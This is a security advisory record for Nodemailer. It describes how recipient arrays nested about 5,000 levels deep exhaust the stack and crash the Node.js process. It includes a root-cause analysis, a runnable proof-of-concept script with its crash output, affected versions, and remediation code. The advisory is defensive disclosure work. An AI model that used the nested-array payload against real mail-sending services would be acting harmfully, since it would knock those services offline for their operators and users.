{"id":"GHSA-8vvx-rff5-p5rq","title":"Nodemailer: Nested structured recipient arrays bypass the parser depth limit and cause stack exhaustion DoS","summary":"Nodemailer: Nested structured recipient arrays bypass the parser depth limit and cause stack exhaustion DoS","severity":"medium","cvss":5.9,"cwe":["CWE-674"],"vendor":"nodemailer","product":"nodemailer","ecosystem":"npm","affected":["nodemailer < 10.0.2"],"patched":["nodemailer 10.0.2"],"published":"2026-09-29","updated":"2026-09-29","sourceUpdated":"2026-09-29T18:25:05Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-8vvx-rff5-p5rq","references":[{"url":"https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8vvx-rff5-p5rq"},{"url":"https://github.com/nodemailer/nodemailer/commit/ebe084940aef88278afc6016b78c6d1c3821bb66"},{"url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.2"},{"url":"https://github.com/advisories/GHSA-8vvx-rff5-p5rq"}],"tags":["ghsa","npm"],"ingestedAt":"2026-09-29T18:42:35.828Z","slug":"GHSA-8vvx-rff5-p5rq","body":"## Overview\n\n## Submission metadata\n\n| Field | Value |\n|---|---|\n| Ecosystem | npm |\n| Package | `nodemailer` |\n| Repository | https://github.com/nodemailer/nodemailer |\n| Tested commit | `40d52215aac65b811d7e131bc916f68605efd9d2` |\n| Current tested version | `10.0.1` |\n| Confirmed vulnerable versions | `2.7.2`, `3.0.0`, `7.0.11`, `9.1.1`, `10.0.1` |\n| Proposed affected range | `>= 2.7.2, <= 10.0.1` |\n| Patched version | 10.0.2 |\n\n## Summary\n\nNodemailer 10.0.1 does not safely process deeply nested arrays supplied through recipient fields such as `to`, `cc`, and `bcc`.\n\nThe public `MimeNodeAddressInput` type recursively permits arrays, but `MimeNode._parseAddresses()` flattens only the outermost array. A remaining nested array is passed to `addressparser()`, whose `Tokenizer` coerces the input with `.toString()`. Native `Array.prototype.toString()` recursively processes every nested array through `join()` and `toString()` until the V8 call stack is exhausted.\n\nA valid 10,021-byte JSON recipient value containing one address wrapped in 5,000 arrays causes:\n\n```text\nRangeError: Maximum call stack size exceeded\n```\n\nThe exception occurs through the normal `sendMail()` API before the `maxRecipients` limit is evaluated. If the integrating application does not catch the synchronous exception around the complete `sendMail()` invocation, the Node.js worker or server process terminates.\n\nNo SMTP server, remote host, large attachment, or successful email delivery is required.\n\nThis is distinct from GHSA-rcmh-qjqh-p98v / CVE-2025-14874. The previous vulnerability concerned recursive parsing of RFC 5322 group **strings**. This report uses Nodemailer's structured recipient-array input and never reaches the parser's `MAX_NESTED_GROUP_DEPTH` protection.\n\n## Security impact\n\nAn attacker who can control a recipient field passed to Nodemailer can trigger stack exhaustion using a roughly 10 KB JSON value. Potentially affected integrations include:\n\n- Email-sending HTTP APIs that accept structured recipient values.\n- Notification workers consuming JSON jobs from a queue.\n- Template or automation systems that forward parsed recipient data to `sendMail()`.\n- Multi-tenant applications that allow users to configure message recipients.\n\nWhen the exception is not caught, a single request or queue item can terminate the process handling mail. A process manager may restart the worker, but repeated malicious inputs can keep workers in a restart loop and make the service unavailable.\n\nApplications that explicitly validate recipient values as flat strings or flat arrays before calling Nodemailer are not exposed through this path. Applications that wrap the complete synchronous `sendMail()` invocation in exception handling can prevent process termination, although an attacker can still repeatedly force failed jobs.\n\n## Attack prerequisites\n\nThe vulnerability is reachable when:\n\n1. An application accepts attacker-controlled or partially attacker-controlled recipient data.\n2. The application preserves the array structure after parsing JSON.\n3. The resulting value is passed to a Nodemailer recipient field such as `to`, `cc`, or `bcc`.\n4. The application does not impose its own nesting-depth limit before calling Nodemailer.\n\nThe proof of concept uses `jsonTransport` only to avoid requiring an SMTP server. The vulnerable address normalization and envelope construction occur before transport-specific delivery, so the root cause is not limited to `jsonTransport`.\n\n## Technical details\n\n### 1. The public input type accepts recursively nested arrays\n\nAt `src/mime-node/index.ts:67`, recipient input is recursively defined:\n\n```ts\nexport type MimeNodeAddressInput = string | MimeNodeAddress | MimeNodeAddressInput[];\n```\n\nPinned source:\n\nhttps://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L67\n\nThis permits values equivalent to:\n\n```js\n[[[[['victim@example.test']]]]]\n```\n\n### 2. `_parseAddresses()` removes only the outermost array\n\nAt `src/mime-node/index.ts:1359-1385`, `_parseAddresses()` wraps the input with `[].concat(addresses)` and iterates the resulting outer array:\n\n```ts\n_parseAddresses(addresses: MimeNodeAddressInput | undefined): MimeNodeAddress[] {\n    const flattened: MimeNodeAddress[] = [];\n\n    ([] as any[]).concat(addresses).forEach(address => {\n        if (address && address.address) {\n            const normalized = this._normalizeAddress(address.address);\n            // ...\n            return;\n        }\n\n        const parsed = this._normalizeParsedAddresses(addressparser(address));\n        for (let i = 0; i < parsed.length; i++) {\n            flattened.push(parsed[i]);\n        }\n    });\n\n    return flattened;\n}\n```\n\nPinned source:\n\nhttps://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L1359-L1386\n\nFor an input nested 5,000 levels deep, the callback receives an array nested 4,999 levels deep. Because this value does not have a truthy `.address` property, it is passed directly to `addressparser()`.\n\n### 3. `Tokenizer` invokes recursive native array conversion\n\nThe `Tokenizer` constructor performs the following coercion at `src/addressparser/index.ts:393`:\n\n```ts\nthis.str = (str || '').toString();\n```\n\nPinned source:\n\nhttps://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/addressparser/index.ts#L393\n\nWhen `str` is an array, this invokes `Array.prototype.toString()`. Array string conversion invokes `join()`, which converts every nested element to a string. Deeply nested arrays therefore produce native recursion resembling:\n\n```text\nArray.toString\n  -> Array.join\n     -> childArray.toString\n        -> Array.join\n           -> childArray.toString\n              -> ...\n```\n\nAt sufficient depth, V8 raises `RangeError: Maximum call stack size exceeded`.\n\n### 4. The recipient limit is applied too late\n\nNodemailer's `maxRecipients` protection is evaluated only after the message envelope has been constructed:\n\n```ts\nconst recipientCount = mail.message.getEnvelope().to.length;\n```\n\nPinned source:\n\nhttps://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mailer/index.ts#L414-L417\n\nThe exception occurs inside `getEnvelope()`, so `maxRecipients` cannot prevent this condition.\n\n## Vulnerable code path\n\n```text\ntransporter.sendMail(message)\n  -> MailComposer(mail.data).compile()\n  -> mail.message.getEnvelope()\n  -> MimeNode._parseAddresses(message.to)\n  -> addressparser(nestedArray)\n  -> new Tokenizer(nestedArray)\n  -> nestedArray.toString()\n  -> Array.join / Array.toString recursion\n  -> RangeError: Maximum call stack size exceeded\n```\n\n## Proof of concept\n\n### Test environment\n\n```text\nOperating system: Windows 11\nNode.js: 20.20.2\nNodemailer: 10.0.1\nNodemailer commit: 40d52215aac65b811d7e131bc916f68605efd9d2\nTransport: jsonTransport\n```\n\n### Installation\n\n```console\nmkdir nodemailer-nested-array-poc\ncd nodemailer-nested-array-poc\nnpm init -y\nnpm install nodemailer@10.0.1\n```\n\nCreate `poc.mjs`:\n\n```js\nimport nodemailer from 'nodemailer';\n\nconst depth = Number(process.argv[2] || 5000);\n\n// Valid JSON containing one address wrapped in `depth` arrays.\nconst json =\n    '['.repeat(depth) +\n    '\"victim@example.test\"' +\n    ']'.repeat(depth);\n\nconst recipient = JSON.parse(json);\n\nconsole.log({\n    nodemailerVersion: '10.0.1',\n    depth,\n    jsonBytes: Buffer.byteLength(json)\n});\n\nconst transport = nodemailer.createTransport({\n    jsonTransport: true\n});\n\nawait transport.sendMail({\n    from: 'sender@example.test',\n    to: recipient,\n    subject: 'Nested recipient array PoC',\n    text: 'test'\n});\n\nconsole.log('sendMail resolved');\n```\n\n### Trigger\n\n```console\nnode poc.mjs 5000\n```\n\n### Observed result\n\n```text\n{\n  nodemailerVersion: '10.0.1',\n  depth: 5000,\n  jsonBytes: 10021\n}\n\nnode:internal/modules/run_main:123\n    triggerUncaughtException(\n    ^\n\nRangeError: Maximum call stack size exceeded\n    at Array.join (<anonymous>)\n    at Array.toString (<anonymous>)\n    at Array.join (<anonymous>)\n    at Array.toString (<anonymous>)\n    at Array.join (<anonymous>)\n    at Array.toString (<anonymous>)\n    ...\n\nNode.js v20.20.2\n```\n\nThe tested process exits with status code `1`.\n\n### Control case\n\nRunning the same code with a nesting depth of 500 succeeds:\n\n```console\nnode poc.mjs 500\n```\n\nObserved result:\n\n```text\n{\n  nodemailerVersion: '10.0.1',\n  depth: 500,\n  jsonBytes: 1021\n}\n\nsendMail resolved\n```\n\nThe difference between the trigger and control cases is only the nesting depth.\n\n### Reproduction notes\n\n- The exact failure depth is platform and runtime dependent because JavaScript stack limits vary.\n- A depth of 5,000 reliably reproduced the exception in the tested Node.js environment.\n- The payload is generated as JSON and parsed with native `JSON.parse()` to model data received by an HTTP API or queue worker.\n- No network connection is performed because `jsonTransport` is used.\n\n## Version verification\n\nThe proof of concept was executed against several released versions. Each listed version exited with `RangeError: Maximum call stack size exceeded` at a depth of 5,000:\n\n| Nodemailer version | Result |\n|---|---|\n| `2.7.2` | Vulnerable |\n| `3.0.0` | Vulnerable |\n| `7.0.11` | Vulnerable |\n| `9.1.1` | Vulnerable |\n| `10.0.1` | Vulnerable |\n\nVersion `7.0.11` is significant because it contains the fix for the previous string-group recursion advisory. Its failure confirms that this report describes a separate surviving path.\n\nThe proposed affected range is `>= 2.7.2, <= 10.0.1`, representing the versions directly confirmed during testing and the continuous vulnerable implementation observed in source history. Earlier releases were not assessed and should not be considered confirmed safe.\n\n## Difference from GHSA-rcmh-qjqh-p98v / CVE-2025-14874\n\nThe previous advisory used a crafted address **string** containing nested RFC 5322 groups:\n\n```text\ng0: g1: g2: ... victim@example.com;\n```\n\nIts recursive path was:\n\n```text\naddressparser(string)\n  -> _handleAddress()\n  -> addressparser(nested group string)\n```\n\nThat issue was mitigated by adding and propagating a parser recursion-depth counter capped by `MAX_NESTED_GROUP_DEPTH`.\n\nThis report instead supplies a structured JSON **array** through the public recipient input:\n\n```text\nMimeNode._parseAddresses(array)\n  -> addressparser(array)\n  -> Tokenizer\n  -> Array.prototype.toString()\n```\n\nThe array conversion happens before any RFC 5322 group parsing. Consequently:\n\n- No sequence of nested group delimiters is required.\n- `_handleAddress()` is not the source of recursion.\n- The `_depth` parser option is not incremented.\n- `MAX_NESTED_GROUP_DEPTH` is never consulted.\n- Releases containing the previous fix remain vulnerable.\n\nPrevious advisory:\n\nhttps://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v\n\n## Suggested remediation\n\nFlatten `MimeNodeAddressInput` values iteratively before passing scalar values to `addressparser()`. Nested arrays should never be implicitly converted to strings.\n\nFor example, the implementation can maintain an explicit work stack:\n\n```ts\nconst pending: unknown[] = [addresses];\nconst seenArrays = new WeakSet<object>();\n\nwhile (pending.length) {\n    const value = pending.pop();\n\n    if (Array.isArray(value)) {\n        if (seenArrays.has(value)) {\n            throw new TypeError('Cyclic recipient array');\n        }\n        seenArrays.add(value);\n\n        for (let i = value.length - 1; i >= 0; i--) {\n            pending.push(value[i]);\n        }\n        continue;\n    }\n\n    // Process only scalar strings and structured address objects here.\n}\n```\n\nAdditional hardening options include:\n\n1. Reject array nesting above an explicit maximum before any coercion.\n2. Reject unsupported recipient value types instead of passing them to `addressparser()`.\n3. Catch address-normalization exceptions and report them through the normal `sendMail()` callback or rejected Promise.\n4. Apply input-complexity checks before constructing the envelope and before evaluating `maxRecipients`.\n\nAn iterative implementation is preferable because the public TypeScript type is recursive and indicates that nested array structures are accepted inputs. Cycle detection remains necessary for direct JavaScript callers because cyclic arrays cannot originate from JSON but can be constructed in memory.\n\n## Suggested regression tests\n\nThe fix should cover:\n\n1. Deeply nested arrays containing one valid address, completing iteratively or failing with a controlled Nodemailer error.\n2. Nested inputs through `to`, `cc`, `bcc`, `replyTo`, and explicit envelope fields.\n3. A cyclic JavaScript recipient array.\n4. Ordinary flat strings and arrays, preserving existing behavior.\n5. Arrays containing structured `{ name, address }` objects.\n6. Confirmation that failures reach the callback or rejected Promise instead of escaping the documented error path.\n\n## Affected packages\n\n- `nodemailer < 10.0.2`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `nodemailer 10.0.2`","depth":"sunlit","depthScore":32,"depthScoreParts":{"impact":32.5,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}